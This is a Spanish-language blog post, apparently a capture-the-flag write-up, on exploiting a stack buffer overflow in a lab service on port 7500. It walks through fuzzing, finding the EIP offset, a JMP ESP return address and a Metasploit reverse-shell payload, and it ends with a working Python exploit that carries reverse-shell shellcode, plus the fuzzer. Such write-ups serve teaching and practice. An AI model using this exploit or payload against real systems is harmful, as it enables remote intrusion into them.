domingo, 29 de agosto de 2010

Resolución 1er Reto How Strong Is Your Fu 2

Hola.

El 19 de Junio pasado tuvo lugar el segundo "How strong if your Fu", torneo de hacking organizado por los chicos de Offensive Security. Tuve la oportunidad de participar (haciendo team con Hackspy) y fue una experiencia bastante interesante. A diferencia de otros torneos, los de Offsec siempre son un tanto reales. (TRY HARDER !!)

En este post describiré la solución del primer reto (Vuln). Primero delineo brevemente el escenario utilizando el lenguaje telegráfico:

- VPN, 5 equipos
- Puertos descubiertos en el primer equipo : 22, 80, 7500
- Servidor Web lista un directorio con 2 archivos: vuln.c y vuln
- Viendo el source, vuln abre el puerto 7500.
- Funcion handle_reply() es vulnerable a buffer overflow.
- A explotar !!!

Todos los ficheros utilizados en este post pueden ser descargados aqui.

Dado que tenemos el fuente se hace fácil reconocer la cantidad de caracteres que permitirán el desbordamiento, sin embargo y para no perder la costumbre, escribimos un pequenho fuzzer.


Listo, al fuzzear vemos que alrededor de 280 bytes crean el desborde con su respectivo Segmentation Fault. Utilizando gdb para el debug, confirmamos que el registro EIP ha sido sobreescrito con el valor hexadecimal de "A" (41).


Al analizar ESP vemos que también estamos en control de este registro.



Ahora es necesario descubrir exactamente cuáles son los 4 bytes que sobreescriben el EIP para poder tomar control del flujo del proceso. En este caso utilizaremos a metasploit, en específico, las herramientas pattern_create y pattern_offset. Pattern_create crea una cadena con caracteres no repetidos y de un tamanho a eleccion, en nuestro caso, 280. Utilizamos esa cadena para enviarla al soft vulnerable y una vez sobreescrito el EIP utilizamos la herramienta pattern_offset para descubrir exactamente cuáles son los bytes que escribieron sobre EIP. Veámoslo en imágenes:



EIP fue sobreescrito con 0x6a413969 y utilizamos estos caracteres como entrada de pattern_offset:


Oka, ahora sabemos que a partir del byte 268 estamos sobreescribiendo el EIP. Otro problema: con que dirección sobreescribimos el registro EIP ? Sabemos que podemos controlar a ESP así que podemos poner la shellcode ahi y de alguna forma sobreescribir EIP para que "salte" a ESP (JMP ESP). Afortunadamente este ejecutable nos hace la vida más fácil dado que ya tiene una función jmp() que hace exactamente eso!

 int jmp(void){  
 __asm__("jmp %esp");  
 return 0;  

Lo que tenemos que hacer ahora es encontrar la dirección de memoria con el buen gdb.


Tenemos la dirección de la intrucción JMP ESP (0x08048703). Ya podemos empezar a crear el exploit y el buffer que enviaremos se verá algo asi:

   buffer= "A"*268 +  
   "\x03\x87\x04\x08" #JMP ESP  
   + shellcode       #Payload a elegir  



Por último, debemos elegir el payload. Metasploit nos ayuda una vez más con la herramienta msfpayload que permite generar shellcodes con distinto payload: conseguir shell, shell reversa, meterpreter reverso, etc, etc, etc. En este caso yo elegiré una shell reversa hacia el puerto 4444 :


Ahora todo listo, escribimos el exploit correspondiente y antes de ejecutarlo abrimos el puerto 4444 con netcat.



Voila!

Happy Hacking

Mvelazco

 ################################  
 #coded by mvelazco  
 #http://ehopen-sec.blogspot.com/  
 #mvelazco at open-sec.com  
 ################################  
 import socket  
 import struct  
 s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
 print "\nSending buffer..."  
 s.connect(('127.0.0.1',7500))  
 # Reverse shell port 4444 by metasploit  
 shellcode=("\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80"  
 "\x5b\x5e\x68\xc0\xa8\x28\x69\x66\x68\x11\x5c\x66\x53\x6a\x10"  
 "\x51\x50\x89\xe1\x43\x6a\x66\x58\xcd\x80\x59\x87\xd9\xb0\x3f"  
 "\xcd\x80\x49\x79\xf9\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"  
 "\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"  
 )  
 buffer="A"*268  
 ret= "\x03\x87\x04\x08"  
 buffer+=ret + "\x90"*0 + shellcode  
 s.send(str(buffer) + '\r\n')  
 s.close()  
 print "EXPLOITATION DONE"  
 print "HAVE A NICE DAY :P"  


 #coded by mvelazco  
 #http://ehopen-sec.blogspot.com/  
 #mvelazco at open-sec.com  
 import socket  
 import time  
 buffer='\x41'*40  
 while len(buffer)<10000:  
   s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
   try:  
     s.connect(('127.0.0.1',7500))  
     print "fuzzing with "+ str(len(buffer)) + " bytes"  
     s.send(buffer + '\r\n')  
     buffer+='\x41'*50  
     s.close()  
   except:  
     print "Crashed!!"  
     break  

4 comentarios:

  1. GOOD (Y) MUY BUEN POST Y ENTENDIBLE , SALUDOS CHELANO

    ResponderEliminar
  2. Año 1981, epoca de los telefonos que usaban una ficha RIN, al pie del Mac Tambo (tal vez el primer "fast food" de Perú) y escucho como unos tipos hablan de bits, bytes, programas, que marcianos!
    Año 1985 recibo el primer curso de Introduccion a la Computacion a cargo del buen Jorge Cabrera.
    Año 2010 leo un post tan tecnico como este y me parece tan natural que papel juegan el EIP, el ESP, que hace un fuzzer, que es un bof, etc. y digo que marcianos!
    Buena Mauricio, creo que deberia ser materia de un topico mas para tus clases...

    ResponderEliminar
  3. Me gusto el articulo , gracias !

    ResponderEliminar
  4. Saludos mi amigo, buscando informacion sobre el tema de BoF encontre este buen post el cual lo entendi muy bien y me gustaria poner en practica pero mi problema esta en que el link de mediafire donde estan todos archivos usados en el post pues ya no funka... espero me puedas hacer el gran favor de volverlos a subir... bueno muchas gracias por el tiempo y por compartir tan gran material gracias y hasta luego.

    ResponderEliminar